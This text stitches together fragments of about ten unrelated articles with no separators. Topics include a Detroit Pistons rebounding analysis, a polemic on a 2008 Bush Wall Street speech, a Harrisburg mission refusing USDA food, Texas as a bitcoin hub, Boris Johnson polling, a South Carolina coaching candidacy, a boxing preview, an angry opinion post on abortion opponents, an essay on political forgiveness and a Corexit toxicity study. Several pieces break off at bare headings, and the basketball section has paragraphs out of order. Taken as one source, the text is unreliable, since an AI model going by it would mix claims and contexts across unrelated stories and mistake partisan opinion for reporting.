Drummond's Offensive Rebounding Number Opponent Result 1 Hawks Put-back from four feet 2 Hawks Put-back from five feet 3 Hawks Put-back from three feet 4 Hawks Put-back dunk 5 Hawks Missed put-back from two feet 6 Hawks Tipped to Ersan Ilyasova; put-back from three feet 7 Hawks Missed put-back from two feet 8 Hawks Kentavious Caldwell-Pope missed spot-up jumper 9 Jazz Put-back dunk 10 Jazz Missed put-back from two feet Game logs
Thus far, that means the Pistons have scored 120 points per 100 possessions when Drummond records an offensive rebound, and it's worth noting that the fifth listed board and subsequent miss was followed by the sixth rebound and a third-chance opportunity that led to Ilyasova's bucket.
Considering the Pistons have posted an offensive rating of "just" 106.4 through their first two games, these types of plays have had a rather large impact:
RealGM.com's Jonathan Tjarks expanded on what a luxury this can be for the Motor City:
The nice thing about his skill-set is that it allows the Pistons to walk the line between crashing the offensive boards and getting back on defense because they can send just about everyone else back and give Drummond the space to do what he does best. If you don't get a body on him, he’s going to get the board pretty much every time. The way he's able to play when operating in a 4-out offense means that the Pistons don't really have to run offense for him in order for him to put up huge stats. He can be an All-Star caliber player just by running to the rim, crashing the boards and catching lobs whenever one of the Detroit guards can get by their men.
All of a sudden, the Pistons look like a dangerous team in the Eastern Conference.
Team on the Rise
Even without Meeks in the fold, they've got plenty of shooters at their disposal and should only receive a boost when Johnson shakes off the rookie jitters and becomes the player he looked like during exhibition season.
His presence will help the bench in particular, which has been the one negative during an otherwise sterling start to the 2015-16 campaign.
Small-sample-size warnings abound, but according to my FATS metric (based on historical comparisons and explained in full here), the Pistons are currently playing like a team on pace to go 36-46. That number might not be as high as you expected, given the praiseworthy developments and unblemished records, but keep in mind that a number of confounding factors are in play here, dragging down the overall evaluation:
The Pistons will stop feeding Drummond in the post quite as often, and NBA.com's SportVU data shows that he's used 14 possessions already despite scoring a putrid 0.29 points per possession. " Our bench struggled," Van Gundy told the media after the Atlanta outing, via Packey . "And I like our bench. I think our bench will be good; just didn't have a good night tonight." The strength of schedule should go down significantly after playing two likely playoff teams in the first two contests of the season.
Even if the Pistons keep inexplicably feeding Drummond the ball and playing up the weakest part of his game, the bench continues squandering leads earned by the starters and Detroit somehow draws a ridiculously tough opponent each and every night, this organization will still be vastly improved.
Thirty-six victories may not be enough to sneak into the Eastern playoffs this year, but it would still represent a substantial stride forward for a young team that hasn't reached that mark since winning 39 games in 2008-09.
Chances are those aspects will change, and the Pistons' offense will begin looking a bit less messy as time goes on. For as many positive developments as there have been, Jackson is still leaning upon jump-passes when he gets himself into a pickle far too often, and a plethora of new teammates are attempting to figure out the nuances of their positioning.
Despite rostering a number of holdovers from last season, this isn't a squad that boasts a ton of continuity. And that makes the 2-0 record all the more promising.
Kevin C. Cox/Getty Images
Van Gundy's first year in charge was a relatively rough one, but he stayed true to his vision. Now, after an offseason of work, he's closer to proving how successful it could be.
With Jackson, the Pistons have their slashing, driving guard to run the show. In Caldwell-Pope, Ilyasova, Morris and others, they have their floor-spacing wings and forwards that make the four-out system hum. In Drummond, they have a dominant interior presence whose finesse game should only improve on both ends of the floor.
If you were sleeping on the Pistons, they now have enough of the right pieces to put together an alarm clock.
It's already ringing, and it's now time to wake up.
All stats, unless otherwise indicated, are current heading into Oct. 29's games and come from Basketball-Reference.com and my own personal databases.
By Bill Van Auken
15 November 2008
US President George W. Bush came to Wall Street Thursday to deliver a speech extolling the virtues of the "free enterprise" system even as multiple economic indicators made it clear that the so-called "magic of the market" is spelling misery for millions more working people in the US and around the globe.
Bush delivered his paean to American capitalism at Federal Hall, just a stone's throw from the New York Stock Exchange. The historic building was the site of the inauguration of George Washington and the first sessions of the US Congress. The august setting stood in stark contrast to the character of the select audience, which, in the gap between its ideological proclivities and socioeconomic reality, resembled a meeting of the flat earth society.
A total of 175 people turned out for the session, organized by the Manhattan Institute, a right-wing think tank that specializes in demonizing the poor while promoting tax cuts, financial deregulation, the dismantling of social programs and the decimation of public education.
The lame-duck president timed his speech for the eve of this weekend's G20 summit in Washington, which will bring together heads of state from the world's major economies for the ostensible purpose of working out a common agenda for confronting the global financial meltdown.
Behind the banalities and boosterism, Bush's message to those assembling in Washington was clear: Nothing will be accepted that interferes with the unfettered accumulation of wealth by America's financial elite and the defense of their interests, regardless the cost to the world's population.
Bush effectively acknowledged at the outset that the gathering of presidents and prime ministers this weekend will accomplish nothing—and that his administration will block any attempt to reach binding agreements. "The undertaking is too large to be accomplished in a single session," he said. "The issues are too complex, the problem is too significant to try to solve, or to come up with reasonable recommendations in just one meeting."
Rather, he insisted, the summit should be dedicated to "developing principles," above all, the reaffirmation that "free market principles offer the surest path to lasting prosperity."
Given the state of the economy, confronting its most profound crisis since the 1930s, Bush's remarks appeared delusional. He spoke in the wake of official figures showing that more than half a million American workers filed for unemployment benefits the week before, and over 85,000 homes had been foreclosed in October. The Treasury Department announced a record budget deficit of $237.2 billion for the month of October, and just a day before, its secretary, former Goldman Sachs CEO Henry Paulson, was forced to make an emergency announcement that the $700 billion approved by Congress to buy up "toxic" mortgage-backed assets must now be redirected to prop up not only the major banks, but also the failing consumer credit industry.
Bush felt compelled to acknowledge that "in the wake of the financial crisis, voices from the left and the right are equating the free enterprise system with greed and exploitation and failure."
While admitting some isolated failings, Bush rejected any indictment of the capitalist system. "The crisis was not a failure of the free market system," he proclaimed. "And the answer is not to try to reinvent that system. It is to fix the problems we face, make the reforms we need, and move forward with the free-market principles that have delivered prosperity and hope to people all across the globe."
The "fixes" that Bush proposed were so vague as to be meaningless: "improving accounting rules," ensuring that "financial products are properly regulated" and taking a "fresh look at the rules governing market manipulation and fraud."
His faith in the "free market," however, remained rock solid: "Like any other system designed by man, capitalism is not perfect [presumably, only the eternal free market created by God in the hereafter can attain such a state]. It can be subject to excesses and abuse. But it is by far the most efficient and just way of structuring an economy. At its most basic level, it offers people the freedom to choose where they work and what they do."
He continued: "Free market capitalism is more than an economic theory. It is the engine of social mobility—the highway to the American Dream."
"Freedom to choose where they work?" Whom does he think he's kidding?
According to official figures, 10 million American workers are now out of work and cannot find jobs. Their ranks have been swollen by 1 million in the last year alone. If one counts those who are underemployed—involuntarily relegated to part-time jobs—and so-called "discouraged" workers, who have been dropped from the jobless rolls, fully one of eight not only can't choose where he or she works, but cannot get full-time work at all. And this is only the beginning, with mass layoffs being announced daily, threatening to create an army of unemployed larger than any seen since the Great Depression.
As for free-market capitalism serving as an "engine of social mobility," this movement has increasingly been in opposite directions, with those at the top of the social ladder increasing their share of total wealth to unprecedented levels, while the vast majority, the working people, have seen their incomes stagnate and decline. The gap between wealth and poverty in the US is now greater than at any time since the 1920s.
It is this amassing of wealth by those at the top that Bush is determined to defend. As the Washington Post pointed out Friday, among the proposals being put forward by other heads of state attending the Washington summit that "Bush and his aides do not favor" is the call for "restrictions on executive pay."
Bush was forced to admit that even his commitment to the free market has limits. "We are faced with the prospect of a global meltdown," he said. "And so we've responded with bold measures. I'm a market-oriented guy, but not when I'm faced with the prospect of a global meltdown."
These "bold measures"—backed not only by Bush but also by President-elect Barack Obama—have amounted to the looting of trillions of dollars in social wealth in order to bail out the country's biggest banks and Wall Street finance houses. Hundreds of billions of dollars of this money is flowing directly into bonuses for financial executives and dividends for wealthy shareholders, while facilitating the consolidation of banks and the further concentration of wealth.
"Free-market principles" continue to apply in full force, however, to workers who have lost their jobs and to families facing foreclosure on their homes. For them there is no bailout, only the prospect of being forced to pay for the trillions lavished on Wall Street through further attacks on living standards, jobs and social programs.
Earlier in his presidency, Bush restricted his public appearances largely to military audiences, bound by command discipline to treat him with respect. Now, in the waning days of his presidency, he apparently feels comfortable only in addressing small groups of right-wing ideologues like those assembled by the Manhattan Institute.
For good reason. Outside of this rarified atmosphere, the popularity of capitalism and the "free market" is sinking to that of the outgoing president himself, whose poll numbers have plumbed depths never reached by any previous occupant of the White House.
Bethesda Mission in Harrisburg does not believe the government should regulate how it worships and gives food to the homeless. So the Christian-based organization and others are refusing to accept food from the federal government.
The U.S. Department of Agriculture and other federal agencies published a new regulation in March that bans organizations receiving food from the federal government from requiring people being given food to attend or participate in religious activities. Faith-based organizations are upset about the new rule they say infringes on their ability to worship.
Bethesda Mission is among a handful of other organizations that have decided to forgo USDA food as a result of the new rule. Executive Director Chuck Wingate said he receives about 12,000 pounds of food a year from the USDA -- about 0.5 percent of total food it gives out monthly.
Most of the USDA food, Wingate said, has been used in the organization's homeless shelters and in food bags it gives out.
Bethesda Mission does not require people receiving food or shelter from the organization to pray or attend religious services.
Their decision to stop accepting USDA food was about principles, he said.
"We don't force our faith on anybody else," Wingate said. "But we find the whole idea that the government's going to come in a tell us what we can and cannot do in our own facility to be out of bounds, especially in matters of faith."
Jennifer Powell, of the Central Pennsylvania Food Bank, said only a few organizations they partner with -- including Bethesda Mission -- have decided to stop receiving USDA food.
While some faith-based organizations have decided to forego USDA food, Powell said others have decided to alter their process -- like conducting pre-meal prayers in another area.
"There are some programs that mandate Bible study or a Christian prayer before the meal," Powell said. "There are alternatives that can be done."
New Hope Ministries Executive Director Eric Saunders said they have never made food contingent on praying or attending a religious service. When the new rule came out, Saunders said he simply reminded staff to make sure any religious activities were done at a different time or place from when people were being served.
"We'll always offer prayer, we'll always offer spiritual counsel for those that want it," Saunders said. "We'll just never make it a requirement."
Saunders said he understands why the regulation was put in place, but also understands why Bethesda Mission has taken the stance they have.
"I have a lot of respect for them," Saunders said, "and the principled stand they took."
Saunders said he believes giving food to hungry people is a religious activity. From that perspective, Saunders said the government is funding a religious activity by letting the organizations care for their communities.
USDA food makes up about 10 percent of the food the New Hope Ministries gives out.
Of the 900 program partners the food bank works with, Powell said only a handful have either decided to no longer accept USDA food or change their practices. The vast majority are still receiving food from the USDA.
"It's wholesome food that can be used to feed many in need," Powell said.
The regulations have to do with the Establishment Clause in the First Amendment of the U.S. Constitution, often cited as the Founding Fathers' attempt to have a separation of church and state. It reads, "Congress shall make no law respecting an establishment of religion."
Giving food to an organization that requires people to pray can been interpreted to as a violation of the First Amendment.
Norah Deluhery, director of faith-based and neighborhood partnerships at USDA, said in a prepared release that the new regulation would strengthen services offered by organizations while reflecting the "constitutional principles that define our nation."
Wingate said he does not think it will be too difficult to fill in the 1,000 pounds it will no longer receive from the USDA. Losing the USDA food created more of an emotional impact, he said, than an impact on their ability to serve the public.
Here’s why:
Texas has embraced companies with a clear regulatory environment and that is not just for big oil. Texas is home to a large aerospace industry and a booming technology sector that could take bitcoin to the moon. You may think California is the bitcoin capital of the world and it is in terms of investment and innovation, but bitcoin companies are considering moving from Silicon Valley to the Silicon Prairie and Silicon Hills for the lower costs of doing business and tax incentives. Texas is ranked 11th on the State Business Tax Climate Index for 2014, while California is 48th and New York is dead last.
Dustin Trammell, Bitcoin Venture Capitalist and entrepreneur, says that “Given the contradictory guidance regarding Bitcoin regulation that’s been provided by U.S. Federal agencies, and no desire by the Fed to settle the differences, how to handle Bitcoin is being worked out by some states.”
This is where the opportunity lies. While some states have said that virtual currency regulation already falls within the scope of existing regulations, others have suggested the need for new virtual currency specific regulations such as New York Department of Financial Services’ (DFS) BitLicense.
Many prominent figures and businesses in the Bitcoin community have already come out against Ben Lawsky, the unelected superintendent of New York’s Department of Financial Services, for his proposed BitLicense. These industry leaders and companies include Circle CEO Jeremy Allaire, Xapo CEO Wences Casares, Coinbase and Max Keiser, among more.
While New York seems to be pushing away bitcoin business, others states, like Texas, are seeing this as an opportunity to bring more jobs to their state.
Government:
Texas offers $19 billion in tax incentives to businesses, the highest of any state, and has low taxes. Last year, Texas recorded a 5.5 billion dollar budget surplus.
Greg Abbott, Texas’ Republican Gubernatorial Candidate, who is positioned to be the next governor, is accepting bitcoins for his campaign and will likely be one of the first governors to win an election accepting bitcoin.
“I made the decision to accept Bitcoin because I believe that it represents the free-market economic principles that make Texas a national leader in innovation and entrepreneurship. As Governor, I will keep taxes low, government small and reduce regulations so Texas’ booming technology sector will continue to flourish,” said Abbott.
Abbott is leading in the polls by a 12.6 percent margin, a sizable lead considering there is only one debate left on September 30. Abbott has served Texas as Attorney General since 2002 and knows the potential bitcoin can bring to his state.
Texas has a strong technology friendly history. Jack Kilby invented the integrated circuit while working at Texas Instruments in Dallas in 1958. Texas played a large part in the dot com era, and it hosts large technology companies like Dell and Texas Instruments. Texas can also support these businesses with a highly skilled workforce with the roughly 578,000 students enrolled in Texas’s 36 largest universities. These veterans from the dot com era along with a growing educated workforce will play a major role in Texas’s Bitcoin future.
US Representative Steve Stockman (TX-36) is also a public supporter of bitcoin. Rep. Stockman was the first Member of Congress to introduce a piece of Bitcoin legislation back in May 2014. The Virtual Currency Tax Reform Act aimed to treat virtual currencies as currency instead of property for federal tax purposes.
“It’s good to see Attorney General Abbott embrace virtual currencies like Bitcoin. It’s an emerging technology, and one that opens the doors for small businesses to sell globally. Texans have always embraced innovation. We created the modern economy by giving birth to the petroleum revolution, we led the world into the space age and now Texans are at the cutting edge of economic evolution,” said Rep. Stockman.
Bitcoiners:
Regardless of political affiliations, most bitcoiners would like to see the advancement of Bitcoin technology and the values Bitcoin represents. The fact that many political figures are taking their stances on Bitcoin by accepting seems promising.
“As a Bitcoin enthusiast living in Texas, I am encouraged when our leaders and representatives support Bitcoin and encourage the development of technologies based on the blockchain. Keeping regulations reasonable will insure Texas will be at the center of developing this new technology,” according to Paul Snow, President of the Texas Bitcoin Association.
While accepting bitcoin for political contributions is a great first step, what the Bitcoin community really wants and needs is smart regulation that promotes the acceptance and use of digital currencies. After all, actions speak louder than words.
“If a politician wants to be serious about promoting and normalizing using Bitcoin, he or she will introduce legislation which allows me to pay for my property taxes and parking tickets with it. That would be much more beneficial to me, the citizen taxpayer, instead of merely benefiting a candidate’s campaign,” said Tod Beardsley, Engineering Manager at Rapid7, Dogecoin Shibe.
Being able to pay taxes in bitcoin would certainly be a game-changer, but is not anywhere on the US government’s agenda. However, theIsle of Man’s chief executive of economic development said that residents of the Isle could soon be able to do just that.
Texas vs. New York
One thing is for sure: New York’s proposed BitLicense companies will look at Texas’ regulatory environment and lower cost of living, and set up business because of the reduced barriers to entry.
“In some cases, the contrast between these various laboratories of economics are becoming quite stark, such as between economically conservative and even libertarian leaning states like Texas versus states like the New-York-nanny-staters and their proposed BitLicense,” said Dustin Trammell, Bitcoin Venture Capitalist & entrepreneur.
It’s quite ironic seeing the Start-Up NY commercials stating that “The new New York is open, open to innovation, open to ambition, open to bold ideas … We’re New York, if there’s something that creates more jobs and grows more businesses, we’re open to it.”
Where New York talks the talk, Texas walks the walk. From 2000 to 2013 Texas has had a well above average percent change in employment in every wage quartile.
Is More Regulation Needed?
Not all bitcoiners agree that Bitcoin regulation is fine as is. Many over the years have been hurt from the collapse of exchanges, mining manufacturers not delivering, and outright scams. However, many would argue that these problems would not exist if those businesses had proper consumer protections in place and followed better business practices, and if they were monitored to the same level of scrutiny as other institutions holding customer funds.
“Bitcoin itself is also almost wholly unregulated. There is an IRS ruling that treats Bitcoin like property, but people treat it like a commodity or like a currency, depending on the situation. Cryptocurrencies have features of all these things, but it is fundamentally a new, international, decentralized, techno-financial tool,” said Tod Beardsley, Engineering Manager at Rapid7, Dogecoin Shibe.
What may be more beneficial to the community than implementing new untested regulations is if the government would provide clarity on how bitcoin falls into these existing frameworks and enforce existing consumer protection laws.
Bitcoin Industry
There are a lot of applications bitcoin can be used for and Texas’s bitcoin community will surely take advantage of them. From financial services to solving problems associated with The Internet of Things, entrepreneurs are finding use cases for bitcoin wherever they can.
“Austin is home to quite a number of Bitcoin startups, and even one of the few established regional Bitcoin conferences, the Texas Bitcoin Conference held every March in Austin, Texas. We have the momentum here in Texas, and we want to build on that, not suppress it with counterproductive regulation,” according to Paul Snow.
One problem bitcoin can solve in Texas is to help the vast amount of the population that is unbanked. Texas is ranked fifth in the country for having the largest percentage of unbanked and underbanked residents: 11.7% of Texas’s population is unbanked and 24.1% is underbanked.
(Unbanked refers to having no checking or savings account and underbanked refers to a person who has a checking or savings account, but continues to rely on alternative financial services, like check-cashing services, payday loans, rent-to-own agreements or pawn shops.)
Bitcoin’s no-to-low cost of providing financial services can help aid this population. In addition, Bitcoin can help the large Hispanic-Latino community, which uses remittance services to send money back home to their families of which Mexico is the largest destination by volume.
Mexico received $22 billion in remittance payments in 2013, mostly from the US, making it the fourth largest destination of remittances in the world behind India, China and the Philippines. Texas has the second highest amount of Mexican-Americans in the US totaling over 7.9 million or about 31.6% of Texas’ population in 2010 growing from just over 5 million or 24.3% of the population in 2000.
Texas Will Lead The Way
Today's YouGov/Sunday Times poll shows that he is the public's top choice to be the next Conservative leader, backed by 30 per cent, compared to 16 per cent for Theresa May, 7 per cent for George Osborne and 3 per cent for Michael Gove. But despite this, when asked how they would vote if Boris led the Tories (and if Ed Miliband and Nick Clegg still led their parties), the Tories' share increases by just one percentage point from 33 per cent to 34 per cent.
Although the Mayor would prove successful at attracting Ukip voters, with 20 per cent of those who currently support the party backing the Tories, he would have little effect on Conservative support among current Labour and Lib Dem voters. Worse, he would actually repel current Tory voters, with 92 per cent backing a Johnson-led Conservative Party compared to 97 per cent for a Cameron-led one.
This is partly because many simply don't think he's up to the job of prime minister, with 36 per cent saying he is and 43 per cent saying he is not. By contrast, a majority of voters (52 per cent) believe Cameron is up to the job, with 37 per cent saying he is not. This is a reminder that the Tories already have a relatively popular leader, who currently outpolls his party by eight points (41 per cent to 33 per cent). That Cameron supporters don't automatically become Conservative supporters is a reflection of the Tories' enduring brand problems.
News Note: South Carolina representatives have reached out to Beamer in the last 24 hours concerning the Gamecocks job.
Here are the reasons why...
Coaching staff
It’s all about hiring a coaching staff these days. The Gamecocks program took a nosedive under Spurrier, a future Hall of Famer, not because Spurrier forgot how to coach, but because he replaced very talented assistants, Beamer included, with inexperienced coaches and poor recruiters.
It’s no coincidence that South Carolina was at its best from 2010-13 when the staff that included Beamer, Jay Graham, Brad Lawing and Ellis Johnson, along with current assistants G.A. Mangus and Shawn Elliott, had set the table in recruiting. Spurrier spent 2005-08 coaching a mediocre football program before he finally made some big-time staff changes prior to 2009. The 2009 recruiting class, which featured Alshon Jeffery, Stephon Gilmore and Devonte Holloman, among others, laid the groundwork for South Carolina’s run of an SEC East title and three straight 11-win seasons. In the 2010 class, Marcus Lattimore headlined. In the 2011 cycle, Beamer’s last as recruiting coordinator, USC inked the No. 1 player in the country- Jadeveon Clowney- for the first time in school history.
Beamer, who arrived prior to the 2007 season and was named recruiting coordinator after 2008, also was instrumental in the hiring of several assistant coaches and served as a sounding board for Spurrier when many of those hires were made.
He would have no trouble attracting a high-level staff of recruiters, evaluators, innovative gameday coaches at the coordinator positions and player developers were he named the head coach at South Carolina. Beamer has worked at Tennessee under Phillip Fulmer, Georgia Tech under George O’Leary, Mississippi State under Sylvester Croom, the Gamecocks under Spurrier and Virginia Tech under his father, Frank Beamer and has developed countless relationships with outstanding assistants across the country. Given the resources South Carolina has from a financial standpoint, the chances of Beamer assembling a top-shelf coaching staff are great.
He’s prepared
Critics will point to Beamer’s lack of coordinator experience as a reason why he should not be considered, but the reality is that his career path has prepared him better to be a head coach. It would be a different story if the Virginia Tech grad had stayed in Blacksburg his entire career and only learned the “Hokies” way, but he’s branched out and has experience in the Southeastern Conference at multiple stops under various head coaches with different styles.
Here are some of the jobs that have prepared him.
-Recruiting Coordinator- Assembling a team and managing people

-Special Teams Coordinator- The only coach other than the head coach that coaches the entire team.

-Associate Head Coach- Handled day-to-day duties as his father’s right hand mand.

-Offensive and Defensive assistant- He’s coached both sides of the ball.
-Interim Head Coach- Led Virginia Tech to a bowl win last season filling in for his father.
We’ve spoken at length about the type of coaching staff that Alabama defensive coordinator Kirby Smart or Auburn defensive coordinator Will Muschamp could assemble at South Carolina if they got the job. Beamer would ink a staff that was just as high level if not hire. Not being a coordinator actually makes working for Beamer more attractive. Coordinators want to be able to do their job (it’s tough calling a defense for Nick Saban or an offense for Urban Meyer, FWIW) and Beamer would allow them to do that.
Organization/Structure/Philosophy
South Carolina can look to the northwest corner of the Palmetto State to Clemson head coach Dabo Swinney, who has his team in the mix for a National Championship, as a poster child for the value of organization and structure. Swinney took over the Tigers with less experience and preparation than Beamer has (in 2008) and has proceeded to maximize that program through assembling a great staff, being organized and focused in recruiting and bringing a great energy to the program. Swinney installed an innovative offense and an attacking defense (schemes prospects want to play in), let his coaches do their jobs and ran the show and it’s paid off huge for the Tigers.
Beamer would do the same for the Gamecocks.
Here is what you can expect philosophically. This is important to explain because many would just assume that whatever Virginia Tech was doing would be what Beamer would do. That’s not the case.
-A tempo-based offense that uses multiple tempos including a dynamic running game.
-An attacking defense that emphasizes pressure on the quarterback and forcing turnovers.
-Heavy emphasis on special teams.
South Carolina as a program has a talent issue right now (more on recruiting later) so as an equalizer, the Gamecocks need to be dynamic on both sides of the football and need to emphasize (not just pay lip service to) special teams.
One of the things that makes Meyer’s teams good- Meyer coaches the special teams himself. Beamer would do the same and it would be a point of great emphasis at South Carolina.
Recruiting
Beamer would put an outstanding recruiting plan in place at South Carolina. Having been at the school and having worked at other places in the SEC and ACC there is perhaps no other candidate that is better-suited to put a recruiting plan that works in place for the Gamecocks.
Among the highlights...
-Major emphasis in the state of North Carolina, which should be treated as an in-state territory by South Carolina.
-A renewed focus within the Palmetto State on elite prospects. South Carolina has fallen miles behind Clemson for the top talent in the state (and it’s been years in the making) and must have a plan to catch up.
-An emphasis on the 757/Tidewater area of Virginia. The dynamics in this talent hotbed have changed in recent years and more kids are looking to leave the state and play in the Southeastern Conference. Beamer has a lifetime of connections in this area and South Carolina is closest SEC program to the Tidewater.
-An emphasis would be put on recruiting experience/specializing in various areas when assembling the coaching staff.
-A great emphasis would be placed on not only landing the “no-brainers” but there would also be more time spent on the evaluation process (something that has been lacking) to ensure that there are far more “hits” than “busts” in the recruiting classes.
The bottom line. Recruiting would go from being somewhat of an afterthought under Spurrier to an area of great importance under Beamer.
Character
In recent days, many fans have pointed to former Georgia head coach Mark Richt as a desirable candidate at South Carolina and many have pointed to Richt’s character as one of the reasons why.
Beamer checks this box in a major way. He’s well-respected and one of the most decent human beings in coaching. He would approach the South Carolina job with a great amount of integrity and instill character and leadership into the program from top to bottom. This is one of the important characteristics that Gamecocks athletics director Ray Tanner is looking for in his next head coach.
Passion for the program
Beamer was born in the state of South Carolina (Charleston) and has a passion for the Gamecocks football program, the fans, the state and the traditions of the program. He’s also directly tied to and had a large hand in the most successful run in the history of Gamecocks football. He has been on the front line of building a winner at South Carolina and that track record is definitely valuable when you are talking about the experience of a potential candidate.
In an era where coaches (and especially media) are ranking jobs and preferences and screaming to the top of their lungs why you can’t win at a certain place or can win at another (and South Carolina has taken the brunt of a lot of that criticism), Beamer believes that it’s a place where you can win big. That’s important because after the Spurrier era, where 11-win seasons that featured falling short of realistic division championship goals were celebrated with rings because “it had never been done” the goal now at South Carolina is to not only get back to that level, but surpass that. Having a championship mindset is important at this point in Gamecocks football history rather than having a “hey this is pretty good for here” type of mindset.
Conclusion
NEW YORK – Erickson Lubin has never been bashful about his ambition.
Even the most talented 21-year-old boxers are typically transitioning from the prospect to contender stages, taking calculated steps toward their goals. Lubin, a powerful southpaw from Orlando, Florida, is training for a world title fight against an unbeaten champion coming off a brutal knockout victory.
The former amateur star still doesn’t seem the least bit nervous about the biggest fight of his life.
“I think it’ll turn me into a superstar,” Lubin told BoxingScene.com. “I’m not just going out there to win the fight. I always like to win the fight in spectacular fashion. On October 14th, that’s exactly what I’m gonna do – I’m gonna win this fight in spectacular fashion and become the top dude at 154.”
The supremely confident Lubin (18-0, 13 KOs) predicted he’ll “expose” Charlo (29-0, 14 KOs) and “break him” in a scheduled 12-round fight for Charlo’s WBC super welterweight title October 14 at Brooklyn’s Barclays Center. Lubin became the mandatory challenger for Charlo’s title by stopping Mexico’s Jorge Cota (25-2, 22 KOs) in the fourth round March 4 at Barclays Center.
Showtime will broadcast Charlo-Lubin as part of a tripleheader that’ll feature three 154-pound championship matches.
Lubin, who will turn 22 on October 1, has participated in just one fight scheduled for 12 rounds, in addition to four bouts that were contracted for 10 rounds since he turned pro in November 2013. He hasn’t boxed beyond the eighth round in any of his 18 professional fights, either.
Lubin still is certain the time is right to launch his ascent toward stardom.
“It’s a great opportunity for me to show that I am the best 154-pounder out there,” Lubin said. “I’ve got a champion in front of me. I’m not going the vacant route, where people actually go for the vacant titles and fight for the vacant titles and become champion, like he did.
“I’m going out there and I’m facing the champion. I’ve been asking for this fight for a while. It got pushed back a few times. I’m actually happy that it’s presented itself. I’m ready to showcase my talent. I’m ready to show, like I said before, that I’m the best at 154.”
Control of women.
Punishment of women.
Punishment of women who dare have sex out of their strict boundaries, who dare have it for reasons other than procreation, who dare practice autonomy of their bodies, who dare claim ownership of their sexuality.
Punishment for those Jezabels and whores.
Punishment of women who will not become mere breeders for God's Army.
I’m sure many of us have heard of the Quiverfull movement (which quite frankly makes my skin crawl), which is just one extreme example what many are taught in the corrupted evangelical churches, women were created to birth, sex was created for procreation.
I have been told outright by evangelicals that women do not own their wombs, God does.
In fact I know some people that frankly don’t care if a birth is risky, or the product of a rape, if a baby could be stillborn or a mother’s life put in danger. They believe if God wills it, the birth will be okay; if it is not God is punishing the woman and she obviously then deserves it. I will never, ever understand anti-choice women who believe or swallow this crap; I often wonder who in their lives made them feel like they have no rights, that they're so worthless.
Punishment.
And Control.
Don't ever let them fool you that it's about the babies. That's why they don't give a crap about a child after it's born, or already-born suffering children; all that matters is the womb and it being used for thier will.
Not pro-life.
Pro-control.
Anti-choice.
I'm not talking about morality in the sense of sexual misconduct, or bribe-taking, or even involving the most widespread immoral behavior in politics: pandering. We can easily agree that it's immoral for a congressman to text pictures of his genitals or for a legislator to take kickbacks or even for a politician to tell us what we want to hear by over-simplifying an issue (though that makes us feel so good that we try not to notice).
What's worth weighing, though, is how we respond to the kind of decision-making in the public arena that doesn't come easily, or that arises amid alternatives that each seem morally right, or at least not wholly wrong. We need to think about how we respond to public servants who arrive at morally complex conclusions that could be called wrong.
What if, for example, the military jets that were scrambled on the morning of 9/11 had caught up with the airliners aimed at the World Trade Center? By what moral code would a general or a president order the downing of that passenger jet, presumably killing hundreds of people? Is that act of mass murder justified because there's some higher morality in trying to save a greater number of people on the ground?
Or what if an official decided to cut aid from some drug-addicted mentally ill people so there could be more for impoverished diabetes patients? Surely a moral code would underlie such a choice. And your response?
I've been wrestling with such scenarios this week while reading a scholarly essay, "Conflicts of Values and Political Forgiveness," by Paul Nieuwenburg, a political philosopher at Leiden, the oldest university in the Netherlands. Nieuwenburg wrote the piece for a public policy journal; its editors asked me to review it.
Nieuwenburg acknowledges at the outset the sad truth that politics tends to be hostile to public servants who venture beyond the certainty of black-and-white and into the real world of full-color decision-making.
"While from the point of view of the citizen it is desirable to be served by morally sensitive officials," he writes, "the context of decision-making causes exactly those officials to be filtered out of public service." That is, we tend to vote out those we judge to be insufficiently dogmatic toward our predisposed notions.
Nor does this apply only to elective office. Nieuwenburg cites a high-level German police official who threatened a suspected kidnapper with torture if he didn't reveal the whereabouts of the victim. After the case was closed — the kidnapped youth was found dead, and his killer imprisoned — the police official was charged with a crime and forced out of his job as a result of the torture threat.
Nieuwenburg wants democracies to figure out a process of "political forgiveness," so such officials can keep their jobs, and so morally thoughtful decision-making will be encouraged.
"The reason is that citizens have a right to be governed by officials with an acute awareness of the conflicts between the constitutional values of liberal democracy," he writes. It is "a non-negligible accomplishment" — a big deal, that is, for we non-academics — merely "to stand up to a moral dilemma."
Indeed, it is. But we seem to like better to be governed by officials who see stick-figure dimensionality and derive political support by ignoring pesky nuance.
Consider Edward Snowden, whose act in leaking top secret files revealing unimagined government snooping and data-gathering renders him either hero or traitor, martyr or coward, defender of rights or thief.
There is no doubt that Snowden committed crimes in using his role as a National Security Agency contractor to harvest and distribute information. Does it matter that he seems to have been motivated to this criminal behavior by a moral judgment that the government was breaching the privacy rights fundamental to a free society?
In Nieuwenburg's better world, Snowden (whom Nieuwenburg doesn't mention) would have access to "some kind of public ritual" involving an apology for breaching a moral code — in this case, breaking the laws aimed at keeping government secrets — and in exchange would get the "restoration of a relationship of trust" between him and his government. Nieuwenburg leaves to others the "technical task" of constructing an apparatus to realize his vision.
For microscopic animals living in the Gulf, even worse than the toxic oil released during the 2010 Deepwater Horizon disaster may be the very oil dispersants used to clean it up, a new study finds.
More than 2 million gallons (7.5 million liters) of oil dispersants called Corexit 9527A and 9500A were dumped into the Gulf of Mexico in an effort to prevent oil from reaching shore and to help it degrade more quickly.
However, when oil and Corexit are combined, the mixture becomes up to 52 times more toxic than oil alone, according to a study published online this week in the journal Environmental Pollution.
"There is a synergistic interaction between crude oil and the dispersant that makes it more toxic," said Terry Snell, a study co-author and biologist at Georgia Tech. Using dispersants breaks up the oil into small droplets and makes it less visible, but, "on the other hand, makes it more toxic to the planktonic food chain," Snell told LiveScience.
Toxic mixture
That mixture of dispersant and oil in the Gulf would've wreaked havoc on rotifers, which form the base of the marine food web, and their eggs in seafloor sediments, Snell said.
In the study, Snell and colleagues tested ratios of oil and dispersant found in the Gulf in 2010, using actual oil from the well that leaked in the Deepwater Horizon oil spill and the dispersant. The mixture was similarly toxic at the various ratios tested, the study found. His group exposed several varieties of rotifers to concentrations of the oil-dispersant mixture likely seen over a large area of the Gulf.
"The levels in the Gulf were toxic, and seriously toxic," Snell said. "That probably put a big dent in the planktonic food web for some extended period of time, but nobody really made the measurements to figure out the impact." [Deepwater Horizon: Images of the Impact]
The dispersant makes the oil more deadly by decreasing the size of the droplets, making it more "bio-available" to small organisms, said Ian MacDonald, a researcher at Florida State University. "The effect is specifically a toxic synergy — the sum is worse than the parts," said MacDonald, who was not involved in the research.
A cautionary tale
